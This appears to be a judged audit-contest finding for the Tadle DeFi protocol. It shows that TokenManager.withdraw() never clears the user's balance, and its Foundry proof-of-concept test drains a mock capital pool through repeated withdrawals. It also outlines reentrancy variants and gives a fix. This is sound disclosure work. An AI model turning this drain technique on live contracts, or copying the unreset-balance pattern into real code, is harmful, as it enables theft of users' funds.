Tadle

DeFiFoundry

27,750 USDC

View results

Previous Next

Submission Details

Severity: high

Valid

possible to drain the capitalPool of all its token balance

adeolu

Summary

TokenManager.withdraw() doesnt reduce the userTokenBalanceMap value for each caller after withdrawing the amount claimable. This means the caller can always withdraw that same amount multiple times as long as it calls the function again.

Vulnerability Details

In TokenManager.withdraw(), userTokenBalanceMap mapping is used to get the amount of ERC20 tokens or ETH to transfer out but after transfer, the claimed amount is not deducted from the userTokenBalanceMap value. This means the caller's balance in the tokenManager contract remains the same after a withdrawal.

https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/TokenManager.sol#L137-L181

function withdraw(

address _tokenAddress,

TokenBalanceType _tokenBalanceType

) external whenNotPaused {

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][

_tokenAddress

][_tokenBalanceType];

if (claimAbleAmount == 0) {

return;

}

address capitalPoolAddr = tadleFactory.relatedContracts(

RelatedContractLibraries.CAPITAL_POOL

);

if (_tokenAddress == wrappedNativeToken) {

/**

* @dev token is native token

* @dev transfer from capital pool to msg sender

* @dev withdraw native token to token manager contract

* @dev transfer native token to msg sender

_transfer(

wrappedNativeToken,

capitalPoolAddr,

address(this),

claimAbleAmount,

capitalPoolAddr

);

IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);

payable(msg.sender).transfer(claimAbleAmount);

} else {

/**

* @dev token is ERC20 token

* @dev transfer from capital pool to msg sender

_safe_transfer_from(

_tokenAddress,

capitalPoolAddr,

_msgSender(),

claimAbleAmount

);

}

Since caller's balance is unchanged and the logic reads from the stored value on each call, a user can withdraw the same amunt multiple times, thus withdrawing more amount than even deposited via the related contracts.

Proof Of Concept

paste code in /test folder
run with forge test --mt test_withdrawMoreThanDeposited -vvv

// SPDX-License-Identifier: GPL-2.0-or-later

pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {SystemConfig} from "../src/core/SystemConfig.sol";

import {CapitalPool} from "../src/core/CapitalPool.sol";

import {TokenManager} from "../src/core/TokenManager.sol";

import {PreMarktes} from "../src/core/PreMarkets.sol";

import {DeliveryPlace} from "../src/core/DeliveryPlace.sol";

import {TadleFactory} from "../src/factory/TadleFactory.sol";

import {OfferStatus, StockStatus, AbortOfferStatus, OfferType, StockType, OfferSettleType} from "../src/storage/OfferStatus.sol";

import {IPerMarkets, OfferInfo, StockInfo, MakerInfo, CreateOfferParams} from "../src/interfaces/IPerMarkets.sol";

import {TokenBalanceType, ITokenManager} from "../src/interfaces/ITokenManager.sol";

import {GenerateAddress} from "../src/libraries/GenerateAddress.sol";

import {WETH9} from "./mocks/WETH9.sol";

import {UpgradeableProxy} from "../src/proxy/UpgradeableProxy.sol";

import {MockERC20Token} from "./mocks/MockERC20Token.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract TokenManagerTest is Test {

SystemConfig systemConfig;

CapitalPool capitalPool;

TokenManager tokenManager;

PreMarktes preMarkets;

DeliveryPlace deliveryPlace;

address marketPlace;

WETH9 weth9;

MockERC20Token mockUSDCToken;

MockERC20Token mockPointToken;

address user = vm.addr(1);

address user1 = vm.addr(2);

address user2 = vm.addr(3);

address user3 = vm.addr(4);

uint256 basePlatformFeeRate = 5_000;

uint256 baseReferralRate = 300_000;

bytes4 private constant INITIALIZE_OWNERSHIP_SELECTOR =

bytes4(keccak256(bytes("initializeOwnership(address)")));

function setUp() public {

// deploy mocks

weth9 = new WETH9();

TadleFactory tadleFactory = new TadleFactory(user1);

mockUSDCToken = new MockERC20Token();

mockPointToken = new MockERC20Token();

SystemConfig systemConfigLogic = new SystemConfig();

CapitalPool capitalPoolLogic = new CapitalPool();

TokenManager tokenManagerLogic = new TokenManager();

PreMarktes preMarketsLogic = new PreMarktes();

DeliveryPlace deliveryPlaceLogic = new DeliveryPlace();

bytes memory deploy_data = abi.encodeWithSelector(

INITIALIZE_OWNERSHIP_SELECTOR,

user1

);

vm.startPrank(user1);

address systemConfigProxy = tadleFactory.deployUpgradeableProxy(

address(systemConfigLogic),

bytes(deploy_data)

);

address preMarketsProxy = tadleFactory.deployUpgradeableProxy(

address(preMarketsLogic),

bytes(deploy_data)

);

address deliveryPlaceProxy = tadleFactory.deployUpgradeableProxy(

address(deliveryPlaceLogic),

bytes(deploy_data)

);

address capitalPoolProxy = tadleFactory.deployUpgradeableProxy(

address(capitalPoolLogic),

bytes(deploy_data)

);

address tokenManagerProxy = tadleFactory.deployUpgradeableProxy(

address(tokenManagerLogic),

bytes(deploy_data)

);

vm.stopPrank();

// attach logic

systemConfig = SystemConfig(systemConfigProxy);

capitalPool = CapitalPool(capitalPoolProxy);

tokenManager = TokenManager(tokenManagerProxy);

preMarkets = PreMarktes(preMarketsProxy);

deliveryPlace = DeliveryPlace(deliveryPlaceProxy);

vm.startPrank(user1);

// initialize

systemConfig.initialize(basePlatformFeeRate, baseReferralRate);

tokenManager.initialize(address(weth9));

address[] memory tokenAddressList = new address[](2);

tokenAddressList[0] = address(mockUSDCToken);

tokenAddressList[1] = address(weth9);

tokenManager.updateTokenWhiteListed(tokenAddressList, true);

// create market place

systemConfig.createMarketPlace("Backpack", false);

vm.stopPrank();

deal(address(mockUSDCToken), user, 100000000 * 10 ** 18);

deal(address(mockPointToken), user, 100000000 * 10 ** 18);

deal(user, 100000000 * 10 ** 18);

deal(address(mockUSDCToken), user1, 100000000 * 10 ** 18);

deal(address(mockUSDCToken), user2, 100000000 * 10 ** 18);

deal(address(mockUSDCToken), user3, 100000000 * 10 ** 18);

deal(address(mockPointToken), user2, 100000000 * 10 ** 18);

deal(address(mockPointToken), address(capitalPool), 1000 * 10 ** 18);

deal(address(mockUSDCToken), address(capitalPool), 1000 * 10 ** 18);

marketPlace = GenerateAddress.generateMarketPlaceAddress("Backpack");

vm.warp(1719826275);

vm.prank(user);

mockUSDCToken.approve(address(tokenManager), type(uint256).max);

vm.startPrank(user2);

mockUSDCToken.approve(address(tokenManager), type(uint256).max);

mockPointToken.approve(address(tokenManager), type(uint256).max);

vm.stopPrank();

capitalPool.approve(address(mockUSDCToken));

}

function test_withdrawMoreThanDeposited() public {

vm.startPrank(address(preMarkets));

tokenManager.addTokenBalance(

TokenBalanceType.SalesRevenue,

user1,

address(mockUSDCToken),

100e18

); //pre markets give user1 a balance of 100e18 tokens

vm.stopPrank();

uint user1TokenBalBeforeDrain = mockUSDCToken.balanceOf(user1);

//now user should withdraw its due amount which is 100e18

uint balbefore = mockUSDCToken.balanceOf(user1);

vm.prank(user1);

tokenManager.withdraw(

address(mockUSDCToken),

TokenBalanceType.SalesRevenue

);

assertEq(mockUSDCToken.balanceOf(user1) - balbefore, 100e18);

//user1 has duly withdraws what is for it

//now user1 can call more times to drain

for (uint256 index = 0; index < 9; index++) {

vm.prank(user1);

tokenManager.withdraw(

address(mockUSDCToken),

TokenBalanceType.SalesRevenue

);

}

uint userBalInTokenManager = tokenManager.userTokenBalanceMap(

user1,

address(mockUSDCToken),

TokenBalanceType.SalesRevenue

);

uint user1TokenBalAfterDrain = mockUSDCToken.balanceOf(user1);

// assert that user1 balance has increased by 1000e18 which is the total amount in the capital pool i.e all the money there

assertEq(user1TokenBalAfterDrain - user1TokenBalBeforeDrain, 1000e18);

//now we assert that user1 balance in token manager's userTokenBalanceMap mapping is still 100e18 even though he has withdrawn more than that

assertEq(userBalInTokenManager, 100e18);

//assert that capital pool is now empty and all the money is with user 1

assertEq(mockUSDCToken.balanceOf(address(capitalPool)), 0);

}

Impact

Possible to drain the capital pool of all its ERC20 token balance through the TokenManager.withdraw() fucntion

if eth is withdrawn attacker can just call the withdraw function in its fallback once it receives the eth and do the classic reeentrancy to drain balnce in one call.
if token is withdrawn attacker can do the calls in a for loop/repititve process.
if token is ERC777 (an extension of ERC20) attacker can still drain it via erc777 hooks (classic erc 777 reentrancy).

Tools Used

foundry

Recommended Mitigation Steps

update the mapping after caching the claimableAmount value i.e

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][

_tokenAddress

][_tokenBalanceType];

userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago

Submission Judgement Published

Validated

Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Prize pool breakdown

Total prize

27,750 USDC

nSLOC

1,229

23 USDC / LOC

High Medium

25,000 USDC

Low

2,750 USDC

Judges

2,250 USDC

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being carefully reviewed by our judges.

View all submissions

Appeals

This is your time to appeal against judgements on your submissions.

Appeals Review

Appeals are being carefully reviewed by our judges.

Rewards Distribution

The contest is complete and the rewards are being distributed.

View results

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.